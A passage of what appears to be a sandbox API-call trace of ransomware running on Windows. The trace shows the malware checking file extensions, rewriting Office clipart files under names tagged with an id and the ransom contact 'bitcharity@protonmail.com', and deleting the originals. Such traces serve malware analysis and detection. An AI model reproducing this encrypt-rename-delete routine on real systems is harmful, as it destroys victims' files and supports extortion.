Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0299.355] lstrlenW (lpString=".zip") returned 4 [0299.355] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.355] lstrlenW (lpString=".rar") returned 4 [0299.355] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.355] lstrlenW (lpString=".bz2") returned 4 [0299.355] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.355] lstrlenW (lpString=".7z") returned 3 [0299.355] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0299.355] lstrlenW (lpString=".dbf") returned 4 [0299.355] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0299.355] lstrlenW (lpString=".1cd") returned 4 [0299.355] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0299.355] lstrlenW (lpString=".jpg") returned 4 [0299.355] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0299.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0299.356] lstrlenW (lpString=".doc") returned 4 [0299.356] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.356] lstrlenW (lpString=".docx") returned 5 [0299.356] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.356] lstrlenW (lpString=".pdf") returned 4 [0299.356] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.356] lstrlenW (lpString=".xls") returned 4 [0299.356] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.356] lstrlenW (lpString=".xlsx") returned 5 [0299.356] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.356] lstrlenW (lpString=".ppt") returned 4 [0299.356] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0299.356] lstrlenW (lpString=".zip") returned 4 [0299.356] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.356] lstrlenW (lpString=".rar") returned 4 [0299.356] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.356] lstrlenW (lpString=".bz2") returned 4 [0299.356] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.356] lstrlenW (lpString=".7z") returned 3 [0299.356] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0299.356] lstrlenW (lpString=".dbf") returned 4 [0299.356] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0299.356] lstrlenW (lpString=".1cd") returned 4 [0299.356] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0299.356] lstrlenW (lpString=".jpg") returned 4 [0299.356] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.356] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0299.356] lstrlenW (lpString="HH00601_.WMF") returned 12 [0299.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0299.357] GetFileSizeEx (in: hFile=0x10c8, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=1468) returned 1 [0299.357] CloseHandle (hObject=0x10c8) returned 1 [0299.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf")) returned 0x220 [0299.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0299.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0299.357] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.357] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0299.358] GetLastError () returned 0x0 [0299.358] ReadFile (in: hFile=0x10c8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x5bc, lpOverlapped=0x0) returned 1 [0299.410] WriteFile (in: hFile=0x10b8, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0x5c0, lpOverlapped=0x0) returned 1 [0299.410] ReadFile (in: hFile=0x10c8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0299.410] WriteFile (in: hFile=0x10b8, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0299.411] SetEndOfFile (hFile=0x10b8) returned 1 [0299.411] CloseHandle (hObject=0x10b8) returned 1 [0299.411] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.411] SetEndOfFile (hFile=0x10c8) returned 1 [0299.411] CloseHandle (hObject=0x10c8) returned 1 [0299.412] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0299.412] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf")) returned 1 [0299.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0299.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0299.412] lstrlenW (lpString=".doc") returned 4 [0299.412] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.412] lstrlenW (lpString=".docx") returned 5 [0299.412] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.412] lstrlenW (lpString=".pdf") returned 4 [0299.412] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.412] lstrlenW (lpString=".xls") returned 4 [0299.412] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.412] lstrlenW (lpString=".xlsx") returned 5 [0299.412] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.412] lstrlenW (lpString=".ppt") returned 4 [0299.412] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0299.412] lstrlenW (lpString=".zip") returned 4 [0299.412] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.412] lstrlenW (lpString=".rar") returned 4 [0299.412] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.412] lstrlenW (lpString=".bz2") returned 4 [0299.412] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.412] lstrlenW (lpString=".7z") returned 3 [0299.412] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0299.413] lstrlenW (lpString=".dbf") returned 4 [0299.413] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0299.413] lstrlenW (lpString=".1cd") returned 4 [0299.413] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0299.413] lstrlenW (lpString=".jpg") returned 4 [0299.413] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0299.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0299.413] lstrlenW (lpString=".doc") returned 4 [0299.413] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.413] lstrlenW (lpString=".docx") returned 5 [0299.413] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.413] lstrlenW (lpString=".pdf") returned 4 [0299.413] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.413] lstrlenW (lpString=".xls") returned 4 [0299.413] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.413] lstrlenW (lpString=".xlsx") returned 5 [0299.413] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.413] lstrlenW (lpString=".ppt") returned 4 [0299.413] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0299.413] lstrlenW (lpString=".zip") returned 4 [0299.413] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.413] lstrlenW (lpString=".rar") returned 4 [0299.413] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.413] lstrlenW (lpString=".bz2") returned 4 [0299.413] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.413] lstrlenW (lpString=".7z") returned 3 [0299.413] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0299.413] lstrlenW (lpString=".dbf") returned 4 [0299.413] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0299.414] lstrlenW (lpString=".1cd") returned 4 [0299.414] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0299.414] lstrlenW (lpString=".jpg") returned 4 [0299.414] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.414] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0299.414] lstrlenW (lpString="HH00612_.WMF") returned 12 [0299.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0299.414] GetFileSizeEx (in: hFile=0x10c8, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=12632) returned 1 [0299.414] CloseHandle (hObject=0x10c8) returned 1 [0299.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf")) returned 0x220 [0299.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0299.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0299.415] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.415] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0299.415] GetLastError () returned 0x0 [0299.415] ReadFile (in: hFile=0x10c8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x3158, lpOverlapped=0x0) returned 1 [0299.717] WriteFile (in: hFile=0x10b8, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0x3160, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0x3160, lpOverlapped=0x0) returned 1 [0299.995] ReadFile (in: hFile=0x10c8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0299.995] WriteFile (in: hFile=0x10b8, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0299.995] SetEndOfFile (hFile=0x10b8) returned 1 [0299.995] CloseHandle (hObject=0x10b8) returned 1 [0299.995] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.995] SetEndOfFile (hFile=0x10c8) returned 1 [0299.996] CloseHandle (hObject=0x10c8) returned 1 [0299.996] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0299.996] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf")) returned 1 [0299.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0299.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0299.996] lstrlenW (lpString=".doc") returned 4 [0299.997] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.997] lstrlenW (lpString=".docx") returned 5 [0299.997] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.997] lstrlenW (lpString=".pdf") returned 4 [0299.997] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.997] lstrlenW (lpString=".xls") returned 4 [0299.997] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.997] lstrlenW (lpString=".xlsx") returned 5 [0299.997] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.997] lstrlenW (lpString=".ppt") returned 4 [0299.997] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0299.997] lstrlenW (lpString=".zip") returned 4 [0299.997] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.997] lstrlenW (lpString=".rar") returned 4 [0299.997] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.997] lstrlenW (lpString=".bz2") returned 4 [0299.997] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.997] lstrlenW (lpString=".7z") returned 3 [0299.997] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0299.997] lstrlenW (lpString=".dbf") returned 4 [0299.997] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0299.997] lstrlenW (lpString=".1cd") returned 4 [0299.997] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0299.997] lstrlenW (lpString=".jpg") returned 4 [0299.997] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0299.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0299.997] lstrlenW (lpString=".doc") returned 4 [0299.997] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.997] lstrlenW (lpString=".docx") returned 5 [0299.997] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.997] lstrlenW (lpString=".pdf") returned 4 [0299.998] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.998] lstrlenW (lpString=".xls") returned 4 [0299.998] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.998] lstrlenW (lpString=".xlsx") returned 5 [0299.998] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.998] lstrlenW (lpString=".ppt") returned 4 [0299.998] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0299.998] lstrlenW (lpString=".zip") returned 4 [0299.998] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.998] lstrlenW (lpString=".rar") returned 4 [0299.998] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.998] lstrlenW (lpString=".bz2") returned 4 [0299.998] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.998] lstrlenW (lpString=".7z") returned 3 [0299.998] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0299.998] lstrlenW (lpString=".dbf") returned 4 [0299.998] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0299.998] lstrlenW (lpString=".1cd") returned 4 [0299.998] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0299.998] lstrlenW (lpString=".jpg") returned 4 [0299.998] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.998] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0299.998] lstrlenW (lpString="HH00693_.WMF") returned 12 [0299.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0299.999] GetFileSizeEx (in: hFile=0x10c8, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=7098) returned 1 [0299.999] CloseHandle (hObject=0x10c8) returned 1 [0299.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf")) returned 0x220 [0299.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0299.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0299.999] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.999] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0299.999] GetLastError () returned 0x0 [0300.000] ReadFile (in: hFile=0x10c8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x1bba, lpOverlapped=0x0) returned 1 [0300.105] WriteFile (in: hFile=0x10b8, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0x1bc0, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0x1bc0, lpOverlapped=0x0) returned 1 [0300.228] ReadFile (in: hFile=0x10c8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0300.228] WriteFile (in: hFile=0x10b8, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0300.228] SetEndOfFile (hFile=0x10b8) returned 1 [0300.229] CloseHandle (hObject=0x10b8) returned 1 [0300.229] SetFilePointerEx (in: hFile=0x10c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.229] SetEndOfFile (hFile=0x10c8) returned 1 [0300.230] CloseHandle (hObject=0x10c8) returned 1 [0300.230] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0300.291] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf")) returned 1 [0300.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0300.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0300.291] lstrlenW (lpString=".doc") returned 4 [0300.291] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.291] lstrlenW (lpString=".docx") returned 5 [0300.291] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.291] lstrlenW (lpString=".pdf") returned 4 [0300.291] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.291] lstrlenW (lpString=".xls") returned 4 [0300.291] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.291] lstrlenW (lpString=".xlsx") returned 5 [0300.291] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.291] lstrlenW (lpString=".ppt") returned 4 [0300.292] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68 [0300.292] lstrlenW (lpString=".zip") returned 4 [0300.292] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.292] lstrlenW (lpString=".rar") returned 4 [0300.292] 